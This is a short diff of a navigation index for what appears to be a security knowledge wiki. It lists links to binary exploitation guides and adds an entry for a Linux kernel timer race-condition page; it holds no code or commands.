[Ret2dlresolve](binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md) @@ -837,8 +837,9 @@ - [WWW2Exec - GOT/PLT](binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md) - [WWW2Exec - \_\_malloc_hook & \_\_free_hook](binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md) - [Common Exploiting Problems](binary-exploitation/common-exploiting-problems.md) +- [Linux kernel exploitation - toctou](binary-exploitation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md) - [Windows Exploiting (Basic Guide - OSCP lvl)](binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md) -- [iOS Exploiting](binary-exploitation/ios-exploiting/README.md) +- [iOS Exploiting](binary-exploitation/ios-exploiting.md) # 🤖 AI - [AI Security](AI/README.md)